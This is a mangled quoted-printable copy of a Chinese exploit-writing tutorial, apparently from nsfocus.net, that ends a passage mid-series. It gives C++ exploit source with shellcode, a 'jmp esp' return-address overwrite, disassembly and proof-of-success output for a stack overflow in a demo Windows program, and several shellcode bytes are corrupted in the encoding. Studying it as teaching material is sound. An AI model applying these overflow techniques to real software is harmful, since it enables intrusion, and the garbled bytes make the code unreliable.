E4=A1=B1=A3=AC=D7=EE=BA=F3=D6=BB=BA=C3=D6=D8=D0=C2=B2=FA=C9=FA=D2=BB=B8=F6=
=D6=A7=B3=D6MFC=B5=C4WinFileOF=A3=AC=D2=D4=B1=E3=B0=D1user32.dll=D4=D8=C8=
=EB=C4=DA=B4=E6=A3=AC
=B6=D4WinTEL=BB=BA=B3=E5=C7=F8=D2=E7=B3=F6=
=B5=C4Exploit=A3=BA
Exploit=B1=BE=C9=ED=BA=DC=BC=F2=B5=A5=A3=BA=
=B5=B1=BA=DA=BF=CD=C2=EB=CD=A8=B9=FD=A1=B0jmp=20
=
esp=A1=B1=C8=A1=B5=C3=BF=D8=D6=C6=C8=A8=D2=D4=BA=F3=A3=AC=CB=FC=D4=DAC=C5=
=CC=C9=CF=B4=B4=BD=A8=D2=BB=B8=F6=D7=D3=C4=BF=C2=BCC=A3=BA\youwerehacked=A3=
=AC=C8=BB=BA=F3=D4=CB=D0=D0=BD=E1=CA=F8=A3=AC=B3=CC=D0=F2=CD=CB=B3=F6=A1=A3=
=C7=EB=BF=B4=CF=C2=C3=E6=B5=C4Exploit=B3=CC=D0=F2WinFileOFExpl=A3=
=BA
<=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3DWinFileOFExpl.cpp=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D>
//=20
WinFileOF.cpp : Defines the entry point for the console=20
application.
//
#include "stdafx.h"
#include=20
"WinFileOF.h"
#include <process.h>
#ifdef=20
_DEBUG
#define new DEBUG_NEW
#undef =
THIS_FILE
static char=20
THIS_FILE[] =3D __FILE__;
#endif
#define =
IOSIZE=20
128
#define VULPROG=20
=
"./WinFileOF"
////////////////////////////////////////////////////=
/////////////////////////
//=20
The one and only application object
CWinApp=20
theApp;
using namespace std;
CFile=20
cbinFile;
CFileException ex;
char binFile[] =3D=20
"binfile";
char hackercode[]=20
=
=3D &nbs=
p; =
;
"\x90\x90\x90\x90\x4=
d\x3f\xe3\x77" //caller=20
EBP + Return=20
=
Address
"\x55\x8B\xEC\xEB\x1F\xBA_5cx59\xAB\xE9\x77\x52\x33\xFF\x57\x8=
B\x55"
"\xFC\x52\xFF\x55\xF8\x55\x8B\xEC\xBA\xB0\xAF\x20\x10\x52\x33\x=
C0"
"\x50\xFF\x55\xFC\xE8\xDC\xFF\xFF\xFF\x63\x3A\x5C\x79\x6F\x75
'=
5cx77"
"\x65\x72\x65\x68\x61\x63\x6B\x65\x64\x00";
void=20
readFile();
int _tmain(int argc, TCHAR* argv[], =
TCHAR*=20
envp[])
{
int nRetCode =3D=20
0;
// initialize MFC and =
print and=20
error on failure
if=20
(!AfxWinInit(::GetModuleHandle(NULL), NULL, =
::GetCommandLine(),=20
=
0))
{
&=
nbsp; //=20
TODO: change error code to suit your=20
=
needs
cerr=20
<< _T("Fatal Error: MFC initialization failed") =
<<=20
=
endl;
nRetCode =3D=20
=
1;
}
else
=
{
ch=
ar=20
* =
buf;
char *=20
sub_argv[] =3D {VULPROG, NULL, NULL=20
};
int=20
=
i=3D0;
buf =3D=20
(char*)malloc(IOSIZE + strlen(hackercode)+1=20
=
);
for (i=3D0;=20
i<IOSIZE; i++)=20
=
buf[i]=3D'\x90';
&=
nbsp; memcpy(&buf[i],=20
hackercode,=20
=
strlen(hackercode)+1);
=
;
&nbs=
p; if=20
(!cbinFile.Open(binFile, CFile::modeCreate | \=20
=
&nb=
sp;CFile::modeWrite,=20
=
&ex))
{
&=
nbsp; TCHAR=20
=
szError[1024];
&=
nbsp; ex.GetErrorMessage(szError,=20
=
1024);
&nb=
sp; cout=20
<< "Couldn't open source file:=20
=
";
&=
nbsp;cout=20
<<=20
=
szError;
&=
nbsp; nRetCode=20
=3D=20
=
1;
}
&n=
bsp; else
&=
nbsp; {
&nb=
sp; cbinFile.Write(buf,=20
strlen(buf)+1=20
=
);
&=
nbsp;cbinFile.Close();
=
; free(buf);
&nbs=
p; //execve(sub_argv[0],=20
sub_argv,=20
=
NULL);
&nb=
sp; nRetCode=20
=3D=20
=
0;
&=
nbsp; }
}
=
return=20
=
nRetCode;
}
<=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D>
=D5=E2=B8=F6Exploit=B3=CC=D0=F2=C9=FA=B3=C9=B5=
=C4=CE=C4=BC=FEbinFile=B1=BBWinFileOF=B3=CC=D0=F2=B6=C1=C8=EB=BA=F3=A3=AC=
=D2=D4=D2=BB=B3=A4=B4=AE=A1=B00X90909090=A1=B1=B8=B2=B8=C7=BB=BA=B3=E5=C7=
=F8buf=D2=D4=BC=B0=BD=F4=BD=D3=D7=C5=B5=C4EBP=BC=C4=B4=E6=C6=F7=A3=AC=B6=F8=
=A1=B0\x77\xe3\x3f\x4d=A1=B1=BD=AB=B8=B2=B8=C7readFile()=B5=C4=B7=B5=BB=D8=
=B5=D8=D6=B7RetAddr(=D2=F2=CE=AAIntel=B4=A6=C0=ED=C6=F7=CA=C7Little-Endia=
n=A3=AC=CB=F9=D2=D4=CE=D2=C3=C7=D2=AA=B0=D1=D5=E2=B8=F6=B5=D8=D6=B7=B7=B4=
=D0=B4=B3=C9=A1=B0x4d\x3f\xe3\x77")=A1=A3=B5=D8=D6=B7=A1=B0\x77\xe3\x3f\x=
4d=A1=B1=CE=BB=D3=DAuser32.dll=D6=D0=A3=AC=CB=FC=D6=B8=CF=F2=D6=B8=C1=EE=A1=
=B0jmp=20
=
esp=A1=B1=A3=AC=CB=F9=D2=D4=B3=CC=D0=F2=B7=B5=BB=D8=B5=BD=A1=B0\x77\xe3\x=
3f\x4d=A1=B1=BA=F3=C2=ED=C9=CF=CC=F8=B5=BDESP=D6=B8=CF=F2=B5=C4=B5=D8=B7=BD=
=A3=AC=D2=B2=BE=CD=CA=C7=BA=AF=CA=FD=B7=B5=BB=D8=B5=D8=D6=B7RetAddr=BA=F3=
=C3=E6=A1=A3=D4=DARetAddr=BA=F3=C3=E6=CA=C7=D5=E2=D1=F9=D2=BB=B6=CE=BA=DA=
=BF=CD=C2=EB=A3=BA
"\x55\x8B\xEC\xEB\x1F\xBA\x59\xAB\xE9\x77\x52\x=
33\xFF\x57\cx8B\x55"
"\xFC\x52\xFF\x55\xF8\x55\x8B\xEC\xBA\xB0\xAF-cx2=
0\x10\x52\x33\xC0"
"Pcx50\xFF\x55\xFC\xE8\xDC\xFF\xFF\xFF\x63\x3A\x5C\=
x79\x6F\x75\x77"
"\x65\x72\x65\x68\x61\x63\x6B\x65\x64\x00";
=D5=
=E2=D2=BB=B6=CE=BA=DA=BF=CD=C2=EB=D4=DA=CA=B5=BC=CA=D4=CB=D0=D0=CA=B1=B4=D3=
=C4=DA=B4=E6=B5=D8=D6=B70X0012FB20=BF=AA=CA=BC=A3=AC=CE=D2=C3=C7=CF=C2=C3=
=E6=B0=D1=B4=D3=D5=E2=B8=F6=B5=D8=D6=B7=BF=AA=CA=BC=B5=BD0X0012FB49=D6=AE=
=BC=E4=B5=C4HEX=C2=EB=B7=B4=BB=E3=B1=E0=D2=BB=CF=C2=A3=AC=D4=DA0X0012FB49=
=D6=AE=BA=F3=CA=C7=CE=D2=C3=C7=BD=AB=D2=AA=B4=B4=BD=A8=B5=C4=C4=BF=C2=BC=C3=
=FB=D7=D6=B7=FB=B4=AE=A1=A3
0012FB20 =20
=
push ebp
0012FB21 =
=20
mov =20
ebp,esp
0012FB23 =20
jmp =20
=
GETDATA //=CC=F8=B5=BD=B5=D8=D6=B70012FB44
BEGI=
N=A3=BA
0012FB25 =20
mov =
edx,offset=20
_CreateDirectoryA@8 (77e9ab59)
0012FB2A =20
=
push edx
0012FB2B =
=20
xor =20
edi,edi
0012FB2D =20
=
push edi =
//=B2=CE=CA=FD=D2=BB=CA=C7=C4=BF=C2=BC=B0=B2=
=C8=AB=CA=F4=D0=D4
0012FB2E =20
mov =
edx,dword ptr=20
=
[ebp-4] //=C4=BF=C2=BC=C3=FB=D7=D6=B7=FB=B4=AE=D6=B8=D5=EB=D2=C6=
=BD=F8edx
0012FB31 =20
=
push edx =
//=B2=CE=CA=FD=B6=FE=
=CA=C7=C4=BF=C2=BC=C3=FB
0012FB32 =20
call dword =
ptr=20
[ebp-8] =
//=B5=F7=D3=C3=BA=AF=CA=FD_CreateDirectoryA
0012FB35 =20
=
push ebp
0012FB36 =
=20
mov =20
ebp,esp
0012FB38 =20
mov =
edx,offset _exit=20
(1020afb0)
0012FB3D =20
=
push edx
0012FB3E =
=20
xor =20
eax,eax
0012FB40 =20
=
push eax
0012FB41 =
=20
call dword =
ptr=20
[ebp-4] =
//=B5=F7=D3=C3=BA=AF=CA=FDexit=A1=A3
GETDATA=A3=BA
0012FB44 &n=
bsp;=20
=
call BEGIN &nbs=
p; //call=B5=C4=BD=E1=B9=FB=CA=B90012FB49=B4=
=E6=C8=EB=B5=D8=D6=B7[ebp-4]=D6=D0=A3=AC
=
; =
//=CB=F9=D2=D4[ebp-4]=BE=CD=B3=C9=
=C1=CB=C4=BF=C2=BC=C3=FB=D7=D6=B7=FB=B4=AE=D6=B8=D5=EB
0012FB49 &=
nbsp; 63=20
3A 5C 79 6F 75 77 65 72 65 68 61 63 6B=20
65 c:\youwerehacke
0012FB58 64 00 =
CC CC CC=20
CC CC CC CC CC CC CC CC CC CC=20
=
CC d.=A1=F5=A1=F5=A1=F5=A1=F5=A1=F5=A1=F5=A1=F5
=D5=E2=D2=
=BB=B6=CE=BA=DA=BF=CD=D6=B8=C1=EE=D3=D0=BC=B8=B8=F6=D2=AA=CB=B5=C3=F7=B5=C4=
=B5=D8=B7=BD=A3=BA
=CE=D2=C3=C7=D6=AA=B5=C0=B5=F7=D3=C3=BA=AF=CA=FD=
=B5=C4=D6=B8=C1=EE=CE=AA=A1=B0call=20
=
functionName=A1=B1=A1=A3=C8=E7=B9=FB=BA=AF=CA=FD=C3=FB(functionName)=BE=DF=
=D3=D0_symbol@N=B5=C4=C4=A3=CA=BD=A3=AC=CF=F3=CE=D2=C3=C7=C9=CF=C3=E6=B5=C4=
_CreateDirectoryA@8=A3=AC=D5=E2=D6=D6=BA=AF=CA=FD=B5=F7=D3=C3=CE=AA_stdca=
ll=A3=BA=D4=DA=D5=E2=D6=D6=C0=E0=D0=CD=B5=C4=BA=AF=CA=FD=B5=F7=D3=C3=C7=B0=
=A3=AC=CB=FC=D0=E8=D2=AA=B5=C4=B2=CE=CA=FD=D3=C9=D3=D2=CF=F2=D7=F3=D1=B9=C8=
=EB=B6=D1=D5=BB=A3=AC=D2=D4=B1=E3=CD=A8=B9=FD=B6=D1=D5=BB=B4=AB=B5=DD=B8=F8=
=BA=AF=CA=FD=A3=BB=B7=FB=BA=C5@=BA=F3=C3=E6=B5=C4N=CE=AA=CB=F9=D3=D0=B2=CE=
=CA=FD=B5=C4=D7=DC=D7=D6=BD=DA=A3=AC=CB=F9=D2=D4=BA=AF=CA=FD_CreateDirect=
oryA=B9=B2=D3=C3=B5=BD8=B8=F6=D7=D6=BD=DA=B5=C4=B2=CE=CA=FD=A3=AC=B7=D6=B1=
=F0=CA=C74=B8=F6=D7=D6=BD=DA=B5=C4=C4=BF=C2=BC=D6=B8=D5=EB=A3=AC4=B8=F6=D7=
=D6=BD=DA=B5=C4=B0=B2=C8=AB=CA=F4=D0=D4=A1=A3
=D3=C3=D3=DA=B4=B4=BD=
=A8=C4=BF=C2=BC=B5=C4=BA=AF=CA=FD_CreateDirectoryA=B6=A8=D2=E5=D3=DAKerne=
l32.dll=D6=D0=A3=AC=D3=D0=BA=DC=B6=E0=B7=BD=B7=A8=BF=C9=D2=D4=B2=E9=D1=AF=
=CB=FC=B5=C4=C6=F0=CA=BC=B5=D8=D6=B7=A1=A3=CE=D2=D5=E2=C0=EF=D3=C3=C1=CB=B4=
=D3=CD=F8=D5=BEwww.dependencywalker.com=CF=C2=D4=D8=B5=C4=B9=A4=BE=DFDepe=
ndency=20
=
Walker"=A1=A3=D4=DA=CE=D2=B5=C4=BB=FA=C6=F7=C9=CF=A3=AC=D5=E2=B8=F6=B9=A4=
=BE=DF=B2=E9=B5=BDKernel32.dll=B5=C4=C6=F0=CA=BC=B5=D8=D6=B7(Base)=CE=AA0=
X77E80000=A3=AC=B6=F8=BA=AF=CA=FD_CreateDirectoryA=B5=C4=C8=EB=BF=DA=B5=D8=
=D6=B7(Entry)=CE=AA0X1AB59=A3=AC=CB=F9=D2=D4_CreateDirectoryA=B5=C4=D0=E9=
=C4=E2=B5=D8=D6=B7=D3=A6=B8=C3=CA=C7Base+Entry=3D0X77e9ab59=A1=A3=D3=C3=CD=
=AC=D1=F9=B5=C4=B7=BD=B7=A8=B5=C3=B5=BD=BA=AF=CA=FDexit=B5=C4=D0=E9=C4=E2=
=B5=D8=D6=B7=CE=AA0X1020afb0=A3=AC=D5=E2=B8=F6=BA=AF=CA=FD=CE=BB=D3=DAMSV=
CRTD.dll=D6=D0=A1=A3=CF=C2=D2=BB=D5=C2=CE=D2=C3=C7=BB=B9=BB=E1=D3=C3=B5=BD=
=D2=BB=D6=D6=BD=CF=CE=AA=B8=B4=D4=D3=B5=C4=B7=BD=B7=A8=A1=A3=B2=BB=B9=FD=D4=
=DA=B2=BB=CD=AC=B5=C4=BB=FA=C6=F7=C9=CF=A1=A2=D3=C3=B2=BB=CD=AC=B0=E6=B1=BE=
=B5=C4Windows=B2=D9=D7=F7=CF=B5=CD=B3=A3=AC=BB=F2=D5=DF=B4=F2=B2=BB=CD=AC=
=B5=C4=B2=B9=B6=A1(patch)=A3=AC=D5=E2=D0=A9=B5=D8=D6=B7=B6=BC=BB=E1=D3=D0=
=B1=E4=BB=AF=A1=A3
=CE=D2=C3=C7=D6=AA=B5=C0=A3=AC=D4=DA=BA=AF=CA=FD=
=B1=BB=B5=F7=D3=C3=B5=C4=B9=FD=B3=CC=D6=D0=A3=AC=D6=BB=D3=D0=B6=D1=D5=BB=D5=
=BB=B6=A5=D6=B8=D5=EB=BB=E1=C9=CF=CF=C2=B8=A1=B6=AF=A3=AC=B6=F8=B6=D1=D5=BB=
=D5=BB=B5=D7=D6=B8=D5=EBebp=CA=C7=B1=A3=B3=D6=CF=E0=B6=D4=CE=C8=B6=A8=B5=C4=
=A3=AC=CB=F9=D2=D4=D4=DAWintel=B5=C4Exploit=D6=D0=A3=AC=BE=AD=B3=A3=BF=C9=
=D2=D4=BF=B4=B5=BD=BC=C4=B4=E6=C6=F7ebp=B1=BB=B5=B1=D7=F7BASE=CA=B9=D3=C3=
=A3=AC=D3=C3=CE=EF=C0=ED=C9=CF=B5=C4=CB=B5=B7=A8=A3=AC=BE=CD=CA=C7=B0=D1=BC=
=C4=B4=E6=C6=F7ebp=B5=B1=D7=F7=B2=CE=D5=D5=CE=EF=A1=A3=CE=D2=C3=C7=C9=CF=C3=
=E6=B5=C4=D6=B8=C1=EE=D6=D0=A3=AC=BE=CD=D2=D4ebp=CE=AA=B2=CE=D5=D5=CE=EF=A3=
=ACebp-4=BF=C9=D2=D4=B5=C3=B5=BD=C4=BF=C2=BC=C3=FB=D7=D6=B7=FB=B4=AE=D6=B8=
=D5=EB=A3=ACebp-8=BF=C9=D2=D4=B5=C3=B5=BD_CreateDirectoryA=B5=C4=C6=F0=CA=
=BC=B5=D8=D6=B7=B5=C8=B5=C8=A1=A3=D4=DA=CF=C2=D2=BB=D5=C2=B6=D4Microsoft =
=
IIS=B5=C4Exploit=D6=D0=A3=AC=CE=D2=C3=C7=B8=FC=BB=E1=B4=F3=C1=BF=B5=D8=CA=
=B9=D3=C3=D5=E2=B8=F6=B7=BD=B7=A8=A1=A3
=BA=C3=A3=A1=CF=D6=D4=DA=CE=
=D2=C3=C7=BE=CD=C0=B4=CA=D4=D1=E9=D5=E2=B8=F6Exploit=A3=BA
=CF=C8=D6=B4=
=D0=D0=B3=CC=D0=F2WinFileOFExpl=B2=FA=C9=FA=CE=C4=BC=FEbinFile=A3=ACbinFi=
le=D6=D0=BA=AC=D3=D0=BA=DA=BF=CD=C2=EB=A3=BB=BD=D3=D7=C5=D6=B4=D0=D0=B3=CC=
=D0=F2WinFileOF=A3=AC=CB=FC=B6=C1=C8=EB=CE=C4=BC=FEbinFile=B6=F8=B7=A2=C9=
=FA=D2=E7=B3=F6=A3=BB=BD=F4=BD=D3=D7=C5=BA=DA=BF=CD=C2=EB=B1=BB=D6=B4=D0=D0=
=A3=BB=D7=EE=BA=F3=B3=CC=D0=F2=D4=CB=D0=D0=BD=E1=CA=F8=CD=CB=B3=F6=A1=A3=CE=
=D2=C3=C7=C8=A5C=A3=BA\=C5=CC=D6=D0=BF=B4=BF=B4=C4=BF=C2=BC=CA=C7=B7=F1=B2=
=FA=C9=FA=A3=BA
C:\>dir
Volume=20
in drive C has no label.
Volume Serial Number is=20
8C3A-7F32
Directory of=20
=
C:\
12/06/2000 09:20p &nbs=
p;<DIR> =
WINNT
12/06/2000 09:24p =
<DIR> Pr=
ogram=20
=
Files
12/06/2000 09:41p =
<DIR> TE=
MP
12/06/2000 09:42p <=
;DIR> InetP=
ub
12/07/2000 09:37p <=
;DIR> BTMAG=
IC.PQ
08/30/2000 05:43p =
=
0=20
=
tempfile.tmp
01/30/2001 12:06a =
; <DIR> &=
nbsp;ETS
04/28/2002 10:16p &nb=
sp; 67,108,864=20
=
pagefile.sys
01/26/2002 08:55p =
; =
39=20
=
dlr.log
06/18/2002 09:37p &nbs=
p; 18,365=20
=
winzip.log
06/18/2002 10:37p &=
nbsp;<DIR> &nb=
sp;youwerehacked
=
; =20
4 File(s) 67,127,268=20
=
bytes
&nbs=
p; =20
7 Dir(s) 1,590,820,864 bytes=20
=
free
C:\>
=C4=BF=C2=BCC=A3=BA\youwerehacked=B9=FB=C8=BB=D4=
=DA=C4=C7=B6=F9=A3=ACExploit=B3=C9=B9=A6=A3=A1=A3=A1=A3=A1
=BD=
=E1=CE=B2=B5=C4=BB=B0=A3=BA
=CD=A8=B9=FD=D1=D0=BE=BF=D5=E2=D2=BB=
=D5=C2=B5=C4Exploit=A3=AC=CE=D2=C3=C7=D6=AA=B5=C0=C1=CB=D4=DAWintel=C9=CF=
=BB=BA=B3=E5=C7=F8=D3=EB=BA=AF=CA=FD=B5=F7=D3=C3=D0=C5=CF=A2=CA=C7=B7=D6=C5=
=E4=D4=DA=D2=BB=C6=F0=B5=C4=A3=AC=D5=E2=BE=CD=CC=E1=B9=A9=C1=CBExploit=B5=
=C4=BF=C9=C4=DC=D0=D4=A1=A3=CE=D2=C3=C7=BB=B9=D6=AA=B5=C0=C1=CB=B6=FE=BA=C5=
=C2=DE=C2=ED=B4=F3=B5=C0=B5=C4=D7=DF=B7=A8=A3=AC=D6=AA=B5=C0=C1=CB=D4=DAE=
xploit=CA=B1=BF=C9=D2=D4=D3=C3=BC=C4=B4=E6=C6=F7ebp=D7=F7=CE=AA=B2=CE=D5=D5=
=CE=EF=A1=A3 |
| =B0=E6=C8=A8=CB=F9=D3=D0=A3=AC=CE=B4=BE=AD=D0=ED=BF=C9=A3=AC=
=B2=BB=B5=C3=D7=AA=D4=D8 | |
![3DTitle=20](3D"http://www.nsfocus.net/images/js_01.gif")
![3DLeft](3D"http://www.nsfocus.net/images/js_02.gif"=20)
![3DRight](3D"http://www.nsfocus.net/images/js_03.gif"=20)